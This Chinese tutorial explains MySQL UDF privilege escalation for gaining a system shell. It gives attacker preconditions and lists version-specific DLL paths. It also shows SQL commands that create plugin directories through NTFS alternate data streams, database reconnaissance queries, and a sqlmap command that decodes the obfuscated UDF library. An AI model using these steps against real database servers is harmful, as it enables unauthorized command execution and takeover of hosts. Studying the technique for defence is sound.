mysql数据库提权

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
云数据库 RDS MySQL,高可用系列 2核4GB
简介: UDF提权是攻击者利用MySQL的自定义函数(如sys_eval, sys_exec)创建dll文件,获取系统shell权限。需有MySQL的插入和删除权限及写入dll的权限。不同版本MySQL的dll存放位置不同,通常在lib/plugin目录。信息收集包括检查secure_file_priv、操作系统、版本、路径等。获取udf文件可通过sqlmap(需解码)或msf,然后上传到相应目录。注意利用NTFS数据流创建目录。

一、udf提权
udf提权的解释

就是利用创建自定义函数(sys_eval,sys_exec,do_system等), 在mysql中调用这个自定义的函数来实现获取对方主机的system的shell权限,从而达到提权的目的。

攻击者如果获取了mysql的root账号情况下,就可以尝试进行udf提权

自定义函数

sys_eval,执行任意命令,并将输出返回。

sys_exec,执行任意命令,并将退出码返回。

sys_get,获取一个环境变量。

sys_set,创建或修改一个环境变量。

udf提权的利用条件以及数据库版本问题

获得一个数据库账号,拥有MySQL的insert和delete权限,最好是root。拥有将udf.dll写入相应目录的权限。

mysql数据库版本影响上传xxx.dll检索目录不同:

mysql < 5.0 导出路径随意

5.0 <= mysql < 5.1 udf.dll文件放置于c:\windows或者c:\system32

mysql > 5.1 udf.dll(udf.so)文件必须放置于MYSQL安装目录下的lib\plugin文件夹下

注意:如果目录不存在则利用NTFS数据流创建文件目录

创建方法:

select @@basedir; //查找到mysql的目录

select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录

select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS创建plugin目录

信息收集

show global variables like 'secure%'; 查看secure_file_priv的值 是否可写

show variables like '%compile%'; 查看操作系统

select @@plugin_dir #查找具体目录

select @@basedir; #查看mysql目录

select version(); # 获取数据库版本

select user(); # 获取数据库用户

show variables like ‘%plugin%’; # 查看plugin路径

udf文件的获取与上传

find / -name "mysqludf" 2>/dev/null

2>/dev/null:这是一个重定向运算符,用于将命令的错误输出 (stderr) 重定向到空设备 (/dev/null),后者会丢弃它

两种方法:从sqlmap或者msf获取

从sqlmap中获取 sqlmap中的udf文件为了防止误杀进行了异或处理,需要利用sqlmap自带的解码脚本

python /usr/share/sqlmap/extra/cloak/cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludfsys.dll -o lib_mysqludf_sys.dll

从msf中获取 直接cp出来就可以,不需要解码

相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
3月前
|
SQL 关系型数据库 MySQL
【权限提升】六种数据库提权&口令获取
【权限提升】六种数据库提权&口令获取
|
SQL 存储 安全
MySQL提权总结(建议收藏)
MySQL提权总结(建议收藏)
310 0
|
运维 网络安全 数据库
【运维知识进阶篇】一篇文章带你搞懂Jumperserver(保姆级教程:安装+用户与用户组+创建资产+授权资产+创建数据库+sudo提权+命令过滤+多因子认证+网域功能+审计台)(一)
【运维知识进阶篇】一篇文章带你搞懂Jumperserver(保姆级教程:安装+用户与用户组+创建资产+授权资产+创建数据库+sudo提权+命令过滤+多因子认证+网域功能+审计台)
991 0
|
关系型数据库 MySQL Linux
4.1 MySQL获取webshell及提权基础
4.1 MySQL获取webshell及提权基础
228 0
|
运维 监控 小程序
【运维知识进阶篇】一篇文章带你搞懂Jumperserver(保姆级教程:安装+用户与用户组+创建资产+授权资产+创建数据库+sudo提权+命令过滤+多因子认证+网域功能+审计台)(四)
【运维知识进阶篇】一篇文章带你搞懂Jumperserver(保姆级教程:安装+用户与用户组+创建资产+授权资产+创建数据库+sudo提权+命令过滤+多因子认证+网域功能+审计台)(四)
649 0
|
运维 数据库
【运维知识进阶篇】一篇文章带你搞懂Jumperserver(保姆级教程:安装+用户与用户组+创建资产+授权资产+创建数据库+sudo提权+命令过滤+多因子认证+网域功能+审计台)(三)
【运维知识进阶篇】一篇文章带你搞懂Jumperserver(保姆级教程:安装+用户与用户组+创建资产+授权资产+创建数据库+sudo提权+命令过滤+多因子认证+网域功能+审计台)(三)
200 0
|
运维 数据库 数据安全/隐私保护
【运维知识进阶篇】一篇文章带你搞懂Jumperserver(保姆级教程:安装+用户与用户组+创建资产+授权资产+创建数据库+sudo提权+命令过滤+多因子认证+网域功能+审计台)(二)
【运维知识进阶篇】一篇文章带你搞懂Jumperserver(保姆级教程:安装+用户与用户组+创建资产+授权资产+创建数据库+sudo提权+命令过滤+多因子认证+网域功能+审计台)(二)
212 0
|
SQL 存储 Oracle
干货 | 各种数据库提权姿势总结(建议收藏)
干货 | 各种数据库提权姿势总结(建议收藏)
858 0
|
NoSQL 安全 关系型数据库
数据库提权总结篇
数据库提权总结
|
关系型数据库 MySQL 数据库
mysql 提权
UDF提权是利用MySQL的自定义函数功能,将MySQL账号转化为系统system权限 下载lib_mysqludf_sys程序 github:https://github.
1195 0

热门文章

最新文章